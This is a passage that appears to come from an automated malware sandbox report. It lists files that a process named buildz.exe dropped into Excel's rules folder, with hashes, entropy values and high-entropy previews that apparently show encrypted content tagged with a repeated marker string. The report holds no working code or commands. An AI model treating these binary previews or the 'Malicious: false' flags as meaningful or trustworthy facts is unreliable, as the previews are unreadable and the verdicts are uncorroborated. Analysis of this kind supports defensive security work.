Preview:	<?xmlk3....V&....EG_....HV..IF.h..\|.....P.B.3'..&'..9Y3.....O<V....m...?.2..E....9..5?..(*...;T.(l.~..V+.Q..10]q....t.4..f.P...x,sQ.a:D..bL..?.:....Kq2A............4[V.....3...C.'p.:!.YBg[<>...0..t.H..:.F.....".^.y.h.G....p....;.....j.0.5P.J.....>..1....D.C.P.14j/...,.JC...E.r.i..}.n..&......E.........fU.,.6.d.!I..04.....S...2.p.f,..m..:..F....<..,..ws. tj....6..#..o...G....{..l........e..W.p.;.. ?..X...%.:.<....Z6>L...e..5._... ..].C.4. k...M............[1..U#1.-......a.j...z.Lw..&.G.6Vb6LNHg.y...;^;%.....7.a....y.......=.A......y<_.LA>...}....K%.e>'.Nm.b%_.).V...dj$...yEu....Xd&...;i..$Y^K.Zl....+.y..v.........a.v...c.I../n....>x....710.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100133v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	751
Entropy (8bit):	7.73529912898779
Encrypted:	false
SSDEEP:	12:Va6dxskGv6Td/qgYXpRSXZ4oWAhFHcGgPjg4Y5DLbJMgE9ksrWMOhzPYqZg1+ciD:Va6dxs16Tlqg2p04oWAhCNPjeD/WRyFN
MD5:	1B5714FBFFA12FD3D9743BCD8AE9D856
SHA1:	1F32B59D1614AB4384B6B9C711EB5129856952B1
SHA-256:	9DF7849E6B2BC1ECE7103A1FE194561F904892469EEA23D8F48DB2DF1979D757
SHA-512:	5D8BA7687118A033B5E5922A11931BB55D5947AAC0703BD0C16B096F975BFA4288D9AB6FA9DB9CCA263BB4E4E1C87A21BA011AF590FF423D2E6C4403E1CB77D4
Malicious:	false
Reputation:	unknown
Preview:	<?xml.l....:czf2.....'7.7P...d.Q].p)..gg.u.;..9f..\|]..Ra.......;..p...: .".3.bI.g.M$).g.$)s.1..ct...r{.......L.>.......`.,._..s^......i.ca...-V...<>.G....2.t.......S.'.9....1e........8kQx.1..1.R.+.$...T..!..N.b..A#.n.....-~qq.g.c..9.)....`.5*...~NI..x....zvk.;..!.....<.....O.......=.!F;A2..=..\|..@..?5...p.,.......?,..g...9F'X..>!......'S@..V.x.@.e..;.......+r.8p.GP.,.-....o..~..O..........Q...Zj....?.}.....s..z..:f~.....gjwK...........}R...%....9#..MA'..16]LJ...eB1....;..5.....u.>o ..].9%....@..W..X7.}.7Y.-.Qm..,....kyw...>.....a.+....b..P:.D..O[.....b._.B.&{..O..'u.8/.k.$.^)...r.a.........Z......?.mv.?./.G.(P......1..`.....Q\|SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100134v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.705963091483662
Encrypted:	false
SSDEEP:	12:TO2zRIoE+gQgme+IeC0ZNsGMYOYW/3b+g3tZFWHRkVVXB3Tvka1+cii9a:dJg5mQ0XLMYRW/3b+gZ8kHZqbD
MD5:	ACDC7A0B3E1CE9764CED01D35F7BDB51
SHA1:	D12A59F79903AD8D890B56BF8FFF6560E3F5340C
SHA-256:	6FDEC1CAE058FA1A3B579BAB785A17FC0DACB285CEDC59393E4C6A36D998A7AD
SHA-512:	A3D082FF678D8ED713A16773D7E38CC768AB2A6089A7E7966852834BDD72254B0B52F99398F65737C711E1D5361EE10B9A3CE4F97C63F2813C4AE1DA5B579131
Malicious:	false
Reputation:	unknown
Preview:	<?xml.b.z..X....HC.j)~l2..+s(.{B=......ms.G.x4..-3.x.:.1(..a........uE}1...(!........bD..b<.....xS.....4n.;..`.. zF.c....P..<>.Ep..-...r..R.Wx....&;<Q...}!...uZ/j.Q.%@[..YLgF..............Ts.....O.e..<......$.-..sb."7k.dZ.D.9.d..5.:..pw...l..+!..t..lM..jev:.]...$D.7..>.w.466....W!.....W.D......,...;1..z.q1......1#.}.a{Q........;.}q..4.D..v'.5../M./}.QG,.: ..{Lmj....ko..!..e..I...Wl...5...i...!...7^.G.-.7..v..8x.zE...L...'..^..).+......6..,.5U_......m4............"i+..5.=.P.3...\|=.n.....?....q....3.d.'.8f....S.....\u.....K...a.n.%vE[jAG..B+..r..'..n2.s.A..C%-T~m.#..O%.{toR......\.3m..........9..9..-..BY...j.u/>L.BH.N\|y.. ..).<..V.<SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100201v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	743
Entropy (8bit):	7.660671658877284
Encrypted:	false
SSDEEP:	12:th4tlq1OGo8MK/gRA1LXd4krvPM4BNEELX0A0zAXavHR7Lyntp/GlMqI1+cii9a:8Wo85/iA1LLLM4BTLXXUyafRLypOXbD
MD5:	F585928751F8EA3B4601A0FA2E8B3922
SHA1:	2E35059613378ED13B85D7D9D2CAC9F1DBA56671
SHA-256:	98B2837333949A95CD0FD84931A66EA039EBEA44B809D7A7785F8DABFD034D68
SHA-512:	F34B0277A4B6136142052670A07BA115BA1FA91AFB22B81A7742EE80D76929D0C176ED39B1633F463963CC23ED06BE880ACD2D6ABA747B99E6A1096996177DEE
Malicious:	false
Reputation:	unknown
Preview:	<?xmlo.6.\.....`..v.,.........r..........7\.....wvE..j...f'4...6..=4YC........YX.V...."..<.9.:\.#......e.r\|.I@....../...T........l8.I.4.....'R.....$4.(}jo.s.^..-:...@.q..m8.zX..6VQ....i..b...].$.yj.:..T.sp]^u.nf..T...>g..........6.....4n....b. N..... ....@D..x..)?...%.'TU...I.4.o1..U.c.r.."...:.0...1bi/.!..i.......v.Ijv....?S.....x...I...^P....Gr/..r.}...q..nd.G...)r.?V!...E..Q......7.f.r..F..m..T.W......O........m.c .L..4L.!b...2...r?..{.{d.\|..{p.~......bS......kTBV....-...bX9..),}......_H~.-#...m.>B?.7...y...+\g2..W..jS...yn1...B...Gp..}oG....`'5.....#g.3v...B.$.....6....Rr..).....r..D.\|.%)WH..0.\|$.*..[&r...3/I.@.(h.1...l..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100202v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	929
Entropy (8bit):	7.784057660067645
Encrypted:	false
SSDEEP:	24:Pe6FpcYCb8Uq/FGx/mSnvSPFVhDbTEtzelspbD:PXpW8UWgxuSv8fgtOsJD
MD5:	F63F6EED6553F1C1A6549CAA65AD0FBC
SHA1:	E35CB8E6B747B69E2418F24ED1D8718B4A4D2EFF
SHA-256:	93A0C73731E22021B440E78179592A78DAD6EA4401407F0DB714DCB259BC2A8D
SHA-512:	7CD20F5A12231CF1A422D4DF3E81FC7B68B3A39616BCE7EE65820FA358D82F7F5FCB4E19904533B8D9C7764ED18D89B2AE5DF4C8E46F186143E9A592211EDF70
Malicious:	false
Reputation:	unknown
Preview:	<?xml....u..`..%#..2m......ytMY..m...A;.....c....5..#E...V-.4....v.@P...:.c..b..Z^..._...... =J..F........P...8...>h..q.K...@Y'.K...`.F...4...BI*....Io..(5......BnRS.P..E...5..E...M..23.........$...V..N...~......[...>b.....0.z.:....e...8... :.w...c.(.. \|<.I..,.f.TF.0..M.(.....'...h.G...@n^o^...@m~..&a...+.=r.n.1m.;.E.......q.wCg..D.~..C.....S.%..N.-%...R....$...Y..F[..\|..j..&vg\..D..T..~.aJ8%3...Z.J.&....4..,.9.w.F.Ju.M.#.Q...4."+..,A....F.]_.a..8..A$...{.".qg..4.L.X...bX.O.Pi..)XwuA,.1.Z.....YZM'p...}........'\|..T..M. ..3.6.'..T8..m.-...V.....Ee9.W..E..TM.L.$...>..{....w..?._..B.......`...\........Ip;j....K. ..h......p....fq....k.4.Y3..j.Wn1^..7.\|.hDE.Q..'...9......!2}..R,...!..8....@.....9.h...^a!....B./Z....K7.(.myN......f..........3I+o.R.9.Z.......,2.Q.JI.....2.. .%W3..N?.....M..h.pT:...N.?.@.1.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10450v3.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.860442063425624
Encrypted:	false
SSDEEP:	24:tZKYb7XdY6XjrLdxiDsJnd0m9j1fn/VWYhbSJPvkYBqrIWZ4l+2I8DbD:tZBb7R/dvnLxSZdqtyJZD
MD5:	F13EC49C41357B7E35EE0095D6368C54
SHA1:	3857C070CDCA03892891ACF835EAD0C6A2487EC1
SHA-256:	C43E1F381A6D7B33BF047C0104968F11CFE232D17332640A42FAA9EC1D54F25D
SHA-512:	B7DA206FC45C9F26E19020100B2B9D32557063A4FFA9CD58179112641FFBF8823CF03B77C22C3134FCA7C357B80ADEA5CE7AB5D6BCDFCBB5ABF30DB3D522F5EB
Malicious:	false
Reputation:	unknown
Preview:	<?xml......9..5...p.7.._...!2....d`..B.tk.R.....R.......y...Z..C<....!..":...^.9.+h..3...n<.m0~.Z..I.8.Bk.#n......F..t..8.......]w.^+pr..;K..*.#..,.]X.Y.$...q=/c0]<T.0...]..SL.cv.V...P........ 5..d"-..Hv.:+..I.....`.`4......!f.0GmM..J.......d\.x...z..s.g....l...Oc..u...P.._Nb....9"4)r.w...zY.....x....i?..8-..h....rO.A@e..}.....%..U......L.X....3........~'.jR\|~./.k..z.4..g...WROo.h.>{.."..y........@.....&......]s...@..C..(...{I?7...\|U37~.....S.^H.M?...D~.0.@.J...[.o..e\|..7{...=.}z...\|...E.L....R\|E."j........S&u.2a....H.._..?:...Q.k...;.:f.U.u.b....gT...V..........]..u1.Qp...... .......+Y..w.K.D-.....MW..y.@..j...;..R..T..(=.......L...~..9.h......n.7.!r*...J.e.'..k.P.d4...{RO....E.....m.l....'.8....0].s.6<.A8j..r...].....a..<Y....+>4Kwp....8...[.(.`}.3.<..H^g>C6..4..Ox......L....td....._ID...VY.`..=.4..K\|....~.rL....s+...c.r.C.-O........q..&.0.S...s=.T.L'&...r.%....w.^.mf<.....!.7.+G"88..&Qy9..',.....0D.....E{..--...Xb...&..X.g..q...,b.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10625v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	3024
Entropy (8bit):	7.939983672736418
Encrypted:	false
SSDEEP:	48:Qw7RA3g6MZogRkXllKyr8xBGUmviI0hoWCFXYpyI25+TGI6yFLuA8XgUbuiqeZOH:Qsr6MZ+XlixgJv12oWiY8I25++ycA8X6
MD5:	FAB7F54FCC5B9BB39B414AECF4D7BD59
SHA1:	6F8FC3A16AF853697092429F813EB2CE52F67036
SHA-256:	6CFB7FD3AE84CDAFBDE85A2A1EB0B728499EE4492502EBCEEA902BE8557B7023
SHA-512:	DAD5E32983BF8B990D4EE7A3607B4422C946078FA2609E751233D061AF10976E30A90ACE41C9704C2A4A570311BD4CEA240D4B20799733E83EDAA0B9F2A98895
Malicious:	false
Reputation:	unknown
Preview:	<?xml`u..3.{....Y$U....(..5..xv.....g....3......5q...7....S.E..o.-15.....d.o<.....6/..........Klz72...\...4{...^2}..2.r.,....'.........I....8..f...g.R.4.f..B.O....'.X..fvt.4......@:...Y........F....D... .....j......6....a.c..p[`..1..AL.W...F..,w.4.....G.....-[.^T..yp}....b..r^m..).<"......../c...J.t.#.3.......Q.s.............o..g....p`L..X.c.E\|f..j.I..hT.$.at.1M".%....o.pGK.2.jX.P.&=...z.....i..f......l).$....B...O.!I?..%..eO.o..f..j.t.......>.h.y...=.x.O.A-.~..gl....=..L.....!...!.c...;m......K....z"i.G.v.t..7.4.Q....{....DD...\T..C'9.A...sU.[..1=..z4F.X.c...&....A#..k;.?...C.o..&.6...... 0l}.&5 ...>..e..a[!.."......N.\.l.2g.(.W#....V...\|...W....T.Z.^lCce....G..?zZt.......=.$GA.b.+R..aD...t..'WLZ........I..~.d.......E..Um..B.w...a.....X...W..b..Gd<..w...zv:.....].".,J..m.c?.{x..m...6.6.....s?h...#.k..E..\'.!.C.D..r4~B......L,..M.....#....%K\|]%.`F8JH....~..>..........N..6.....b...'...E.........7.R.}.r....F...,xok.I@..cy."B. r...M...G}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10626v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1675
Entropy (8bit):	7.878017919387546
Encrypted:	false
SSDEEP:	48:cwauWwwSRJRoZPlvSJcyfJy77hD8wp7CNFdxznD:cNqwSRJiVlvSJnfJyXhDnsxv
MD5:	AA822D47DDA51DBCA76D68B968458125
SHA1:	CE012C5FA393D057F12B3B17981D3B924800A5B1
SHA-256:	5CFB89B31A89CFF0469F4A6CA523E69B710E1C873D96170573304E0ED1673506
SHA-512:	F1CC19DD571F202127B0FC93F5C339B58D12FD5AE58C12F9513DEA9EC64DCCCA4301CD6F1208A6D9876EF50F3843052E292247AA5D0AAE2086F4D77E0958B0C8
Malicious:	false
Reputation:	unknown
Preview:	<?xml~H.e......QV.;..a..p.Z.S#njT.D...VD-.(.C...3....WFcT$A.~.9.W.<...{~.0S..u&...@.Z...;.z.... .......F..9V.7q...E.;..Wh.....D.v=..Hq....{c..s`.aw.Re..l.........J..4=/._A.;'......>.....^....hl...F...tG..CK.......B.r.e...P.;z....a)..j...W.RI.c...#.N.y..N..}O.g_P../4,...w..:...l!Q..Y.]."..3........gf..1.o.3c...j...se..._.R.^..<h....p}cM.. ..`$.QI.U.H..5p..J...GRrW...X.:.n.c..Ov(L..vIX...Hg.......].........Fy..=..'........h.-...7 8Jym.'......L.U{..`..@?.v.'..A..H...!.&i........[.V....-m..u....:...?R.5^@..J.p..E..yO7...T"d...:ah.e.-9........K_.&..]I.f.......#...Y&.1....>.9.j4Gn&.&.....#E....}i.M.h..u..w......Ga..g..3.&0.<h...xA.....R......K@h:_.DW..f.J.....U.GH...S..../U.......'..../.l.......-]qZ...:p..>fP..B.$40d.i<.y.f.N...............pn.HVlW....'Q\4ptd....T4.@..$..R.....S.RP8..w.2...T.I9T..;..X..eU...O....B.S}...Tm..}..k...\.....=.N..A....:=T..:1!....K.Y.Q..9..q.2v...........:YH:...8.l...cM.,/x...W^+......\|.....4......%u......j.I.=.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10627v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2113
Entropy (8bit):	7.913090707382579
Encrypted:	false
SSDEEP:	48:Dw87kNbmZF7IldfbcqcdvFiZOZ8l8i7mxR99KCv1N4D:x7kJmrIltb5cuw+TyxrvE
MD5:	2EC4F9EDC7078C9083DE0B95B8B93E3D
SHA1:	B92D6B8B208BC1229CBDCD273BB097B3A89421A6
SHA-256:	0FD1FB451EDDF5EEA5354E254C87E4ED0AA223634A1C94C1A8BE7CDE7F252A4C
SHA-512:	66F07E79366585A65F93923DA26AA58832F2528D10417AC3AC2CC5164D16676CC17653289523BB2E7A4E76F4202C773644506B41EECE4EFE12A78F01118DCEC1
Malicious:	false
Reputation:	unknown
Preview:	<?xml...C.y.0......X .......C........l6. r...Hc....4.\.\3.m.:...?.\|6.9V..+..jb._ay!.w....NV.f...... .+..A..5....=d..b.(.G).o.:.n......R.....M.u.F.......L..\.....MFc....c?1...%\.3... ... ...!..u...#=.'.5fRb..7.q...t.-...W.&..+..p1\|..kEs.?...eF..4I.lj\.j{3.D.t..n...d>H.a .'..K.vM...+..$..e..o\|yp......R..f..4......_.Q:_...N.........I[\...p.~..7..E>..+.....@EY.ok.....5.eC.....Kcs.....>...B(.%_L.g.,.o..E..e..Q.xf.,....G....x.>.......P..]g..i....4 ..>..T.......L_b.G9uwk.:.YQ..e.V...A...[O....r..-[z.....9x..-.-.U.!....O...{...%.)....8(.?..]...[lW.o..G...QY]..-M.......f2M...:2#{N.1v..".....1..=y.].../.^.dE..._.e.>1.ER..RU$IGQ.y.`]...t..o. .k(.4..?...5...ZN.......!..;...[ .b'.Ngw2}..h.._.p...' ..Fpm2.\|.TW.mj>.I..a.O..>.?.TG.,)&A.$TH.o..Jl........&F..u.h..b.....{.J.@..'rZV.0.h..U.axl.\|:M.1e_...X..U.L....n.z...Cb..x..&\.M@..I..S..........>..8.[WP0.oG/W!KEu...x\|iark!.1i..u......P.A ...0...}...+..J.~....../.1.9+(.L.a.....p"p.vh.a..k.....#{....]8i.<

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10781v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.744000767335091
Encrypted:	false
SSDEEP:	12:3XPwJZ9DExZ7+lmJysgkTGwDAroFtTc5Z64MPRfwF8ZKeh9H+zzAs/rSH1+cii9a:3/wJjDEDbt7883TcT6rwCZ9SzmUbD
MD5:	FCA69007B3022902F9E17348EDB4C6B9
SHA1:	93C9CEC66B336E4AF814D963DC8B975504A7B9D4
SHA-256:	FAE06173BD7B5E71C70EB9DF65E8EDBDD2A60197E2FFEEE584E7EC2A4A3D6911
SHA-512:	6F903F9152B29AA919970E95113AE58B08A7A0F851B681EF32C5FEA8D2891C12B6F72A4B6ED6E800A1F9B31D7ED26489CD23DC4BC181E1B467D100A4F69C1789
Malicious:	false
Reputation:	unknown
Preview:	<?xml.j.2.[.....'.X.....i....@Z..Cy6R.".....m...;}.})\|Xw..WD....u@_..R......i...&....Nh.S......G.."..>~.6.\v.)..m.k.N.I."J......./...6..YIa.G....6...j..<`....@iv..;L.qt.....K....5N.yJ3Y..X\'.H..._.o.9.s{..c..i....?..V...SF..vB-b....wWc...l;.F.7v?:..X.l..gq.)..o...{9....\.9$..1..L!$m.o.N~i....4..;0U.z..q..`D..OT.b..n..p....?]j.l...JF>(5b......Af<.B.#+.G...m....q.&.;..N@.OZ...".yZu.m!...M....A.q.... ;.i%..c9.P{.8..j....6...T.6...._$[.r?..Vs8).Zh.~.F>\..]..2....!xm/.....H.D.dk..`V.. ..rnlj.E$d.....).<.I{m........&/........'....[.......N.L\|E$H....v.?L...N.,....7o(....!.."....)D4.'.,..>...T..y..Tnt.[y"r}rZ=.............\...+{9...z.B.......]2.M......@+..)...SG..rf....kk...uZ..z.woUI.6/..HX.m....Q.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10784v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2070
Entropy (8bit):	7.902930562142432
Encrypted:	false
SSDEEP:	24:WqebE+812OOQ7kujhHacHcN0e5kKflTLvOj+xJvrLZaHqITg/M93+8XK6DDSL8uJ:PKQ2JtqJHcNvkal15LZlklPDWYu0hjUD
MD5:	2460E4F95C11FA5CFA4AE3918B557066
SHA1:	9E9B3F993BF14AF9E85C1BFC3DAFAC17E7C4729A
SHA-256:	094BD10EC291CC847038860A6153EC9D97D5985CB65A30CCF9176C9B57BDCA01
SHA-512:	60BBF3F89A4A223C67F77923133B08B5CDF640B79FBDA8B3C392AC13D2223431428A23FD7EA242612327DF3968A042DADF9F2D1DC39FFAFBF868015730A3082E
Malicious:	false
Reputation:	unknown
Preview:	<?xml.\|...\M.(?D...8Y.@...]..^...."....'Aw.r.Msr..$.y...6.i....).r\|.>\......v..H...S)..f....v$..a...........@.....)......6_M..../}.0K^f.m..\|{k.7.._.p........,&...%..6......w.wE,.M.....E....P...;..1.(..a...9.j.3.....) =D..m.....:..-N.....Q..8..[Q[..B..\|..r;K.".....=..U..hx..]..(...%Mr.PR.e0~L'WU...~..a2.v..q...@.Q.m..T.lh.6..~..sk.@...W.......n.e.....R.......36....K.M.r....a.)Y_J...5eymW.7..~.:O.e./Z.#...).h.T.Upo..I......w...ETA.._..:.z...V...5J....)....k=S(z.p+..)..!...........]...LnX...O.V...&.$.E....yX.1.t..~.h....nh...\|..l......['.......x.......R8.~(...#/*7.I.,..1...J.o.^..g......Qs...(^...~.T.cj..` ..4. [bk....2....Ex.....=@..g.jr!r......j.5..X6.k...\|.....n..Q.mn.P:<.x}.......LO.^....u.....Ns.....+....u..tU3ml..<.m..D..y...$Ez.g..%..3Dgm=..B...PH.....%....q....]..i.g.(8..l...r..].iF@lD1.cHwoY...5..d...VA.q0.v.u.O...6Q.9...L..1bq.......!..lsU.\|.Z.E0.......%M..=>.X.....l.....N..e....A530X.?<.k.i..y..ky....u........E..z.)....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10800v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.728158928890157
Encrypted:	false
SSDEEP:	24:sZvqK47dDE1ttnkptZL3OOj7yHaQwoV/HpixbD:vxdDM3nq77QweUD
MD5:	98FB78F59612DC42D74D37038D61D69D
SHA1:	541533736E72D4D4320B142994CC9DDCC05B5513
SHA-256:	6017355E9D7E620C2D505B44BCB8884464C7696F20AEF279F074E213F3AC3909
SHA-512:	36F7BB71F20C02771E9D396E4934178F170D5384B50AD0AC1C795DBC27CBD8F7A441CB95EE39DF1E488077F86220F9367CC2FA260AEF6D5A8BA07EB0A7E61A75
Malicious:	false
Reputation:	unknown
Preview:	<?xml..q.PfR.1{...Bz@.\lT......MZW.D.1i........V`.....qS@.. .@mn...\|.....G...Z..9....ixl9Ag....Vl .nf....2..u.....^.....xY...\f.&"....wB_W..D.Q.\|.INt...4...i..l.... ...f.L.x..9.u_H.U.w..;....s"h){....C.d.G....e.Q..(&.......=...d..).[.fjt.Q......v.}.0.......u6............6LB..q...G...&.$W. :..L....h..#(sO$.f..%.....R#...#....Q:..._....I?.4o.JC..l...-?.Q.?Z<....Z...-I8o..]..]"...h..".!.<..h.'...s.."....Z.SPhM.\.{..,..D..F..tkV..:..e.zmI2..$..[...../Q5..q.df..w..%....#.*.P..}.6.1.T..o.r.0.MX../.....Y.!.V..1..z.1..5p.....=.w.}.zP........=2.(.p..G2.}...kZ.r&'....l.pI@.;.5....oF...~....eG ...s@qR'?.R.b......~.p)..?......#..+G.B...~/.co3:.......H_.a..\|H...G.l..f>82J..#;..QDA.T.=...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10801v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.944385475107969
Encrypted:	false
SSDEEP:	48:TyCItoIWO2Vf8cUZSVsKolV/6JRNbRFasY4KmwpYNfmm4BZiSZSfd3YGQuD:GgMRlZ6JrbDSpYNemOZiSZUd3YG/
MD5:	9A7F5FBC4AD7E6AF3E176313AD0DDAFA
SHA1:	BC72081C1DC3BBCF76D9BFA4A4760E015E305863
SHA-256:	30546279BD6F59890BCD0B0021FE837298344154A253D378622B7C8289D1C4AC
SHA-512:	591AB4069F1731CA2A4C5A93DABF3ADE33DD8C49802B68B0B8A6D735B249FCCB92CB6140385FDCA37FF04EFE0836DC112A1B71CD970ED67E7AEED167447E701D
Malicious:	false
Reputation:	unknown
Preview:	<?xml..?.b.....s.........O...kE..i.H\<..H@L.V...e.$.w<D.Y...$..<e ...?..k..../...2..l.f..2.s.B....`yY.s6...3..Z..H....B?....Y..g.vj0..m.~>o0....w..Q..>.....c&......l..,.P.W.;......Y..-....Y?.;.Q...T......S`C..n.q..c...m..p..c.X.8..p....}Zu.....-..........S<.)....1....7.i...kH.'.\.q.(.....j.4.d.c.}.......i./...z..E..........2J/.....W.b...y'B...A..}t~.....d..bi.......^....n......C.....6....z...(....+RgYx..[Q....Y..........<...~>..W.9....jP#@..Y.......6.....N..N...R.>O!.+......7...t5...F.kw._.k(..h+.R.......m,..w.2.`H...._.#+.\...T#.F.".HJ\|+..WO.2...cH...$c._Mw.. ...u..F....r.....7N:if#.j.......*\.AU.-.@F.v.M...k...3.@.].)..X.MS.}.`3CK...6.....u_....G.%...4p]...`.Z'.!8.0.z.h..x.A.^,.................@......H.Q=f..a2.klX[.m.....GT.^8..8.^..'...6.p.g;..b..E`N.... ..&.hc..b0......#.m...s.0.S.T1O.t...?..k..0._wS.....{X.Nv.u.....j.....Y.._......F$8......n.........D.3.3=.Y;e.h.#.N..E.(...U.d..A .. .`1...i4...,.K}.....>._.Bf

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10802v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.945222828107967
Encrypted:	false
SSDEEP:	48:qfubNnMCD3n9BQZOYIRCxyOfUqYnzj1xT+QPzdMFE+2567oM+coCLD:qmBMCzn9BQZMCxy/qwOQsoG1+coc
MD5:	E23A391AD653321867435A404723AD62
SHA1:	90E748875E611C0CE04DDF9567079AF85ACFEFBD
SHA-256:	81A11759E8C3716ECD748935FF40B47B15AD21B2C774F5544EACB5A2F567CF2C
SHA-512:	8B4D6F309EA36DFC2FA1ADACA5AE0C2B102141B07BB3D3C0806EEBA0A100DA02A124F74ADF1EC3BC04225257169C24AE7C21B17C7BEE0C23F18572F37C613DA6
Malicious:	false
Reputation:	unknown
Preview:	<?xml.\\|....~/....z..u ..U.w..'..7ZYf..b...Q=...4\.e.9.....S/...YT-.\|..u....vO.W..EE.f.~XdBV-.2..}.K<S.r...........^...@.....z.l..k..d.O.%..1...w.4....k.0.k.....;./.B),,......RjU..[..%.;.:.\|.4...TR...h.jF...[1.....X^J..9../.%...q..R......c......P.VH.....3:j..t.....i...!O.t...e).g...&....u.=:.$..7.....v.}...A.......Ze{.T..=...!P]...\(s..vgXc.%SA...}..?I../:."n?56qaiL..._K.V..so]D5.~..w#..6.....>Qd...W.......C;}....TY..m..z@....7....`..!`\MI..O.....o^..1 r.R...~=bN...g(.....u..b7...n.....yz.i.1...u.......a..c..C.g...f..........N....ZAZT5.. ...bV..A...=.@.>.b..c7..?4......Z.."...^.-h......r~........../.._2.....y+...9.k...V..b;........i3M.Yp...z,..b..v....e......Y\|. ..%..? ...z.....n.b.....3;..o.Z.\|(.3..;C.,LP...e].C.R(pn< ..h..O7.z..id.._%...Hr......_..q..3..s!....Y.N.3.........i.X.G....o....<.5.`...!.4.Q>..p....+\.,..t.a...G...+...~=@............\$.R6.w...ma.......C.^..R.bk..R.....,.T...}.O..1P}/..A..q....h.F....\|....32.(o

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10803v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4639
Entropy (8bit):	7.9604655261579875
Encrypted:	false
SSDEEP:	96:HjhkKbtRnWqOyXzQKgEz3+fVVl1a83zbzEWbGBVL3yelN:QqOyjQKgoW3zXEWSJyAN
MD5:	9456B5FFA43C64E57F4F0D24B7298327
SHA1:	643BA172411A02F6BBF32A7E7351AF2E5739B27E
SHA-256:	8CC53CB347F5E95AE9BE573C0AABE0502FE156E6879143967DED3A52799A7172
SHA-512:	A74206EAAA6192D50F8171F9A3F10B16B7CC5B6C1FFAD143450E5CDEECD59A5B5B8E66427000CE2ED93643DFC47B6BCAF76BBA968F73CAF0A9CB1C358B6D6A80
Malicious:	false
Reputation:	unknown
Preview:	<?xml%..H...SG.x..V:..N.N<7.........>.+x....O...`<f...\|.C..vQ.r......&9.c....M....4}".*..zV.Qj...Q..(..vc]./d.c.f".......2...Y..%.N........,...... P......A.R5.w.bD..$..6R......uC..b.......v1?/M.....H....A..o..k.s=Y(..0....Y.. ....i!...y.)..<..}(....wL..$S7.8.}.Vt.H.B..{._...A.3..9.n..A......d......~.&.)......3./.4.-E,.hW=.&.f...1.......-.....1j...ou:.mLI.4rvv....L.N.1).......OFx.g.....LZm.X.(.;.......b...!..@...>%.0".9...7lr..SC&....AL...Jj..A....y..u..Eu-..-.+.=....4.9.1..B.d...1N.t.i..-9..(oK.$i.^F:.HXa....I......L<&Bu!.3......[+R.;D.1.....KY...B..cn'.p#..V_:...{.:\|.^,...K.i...aA..U....X.{.....>r.gm....TW\|.H.....].....v.^o.c..Z.l..^..F;x......T.R.<.......Ta.b..1...-.....FK.N...f..(..(...B#.a.....[F.%.u...Ab8eP].v....F....J..mP{4....o..wl.#..g.-!:K:..TS...:.%{..y...ylC]..C..R..b.i.....#fD....t..E.....\@~....>..`. ...).I..V.1+{.2..{.B.~N6(..7FtQnO...4.....I.f,F>H.. 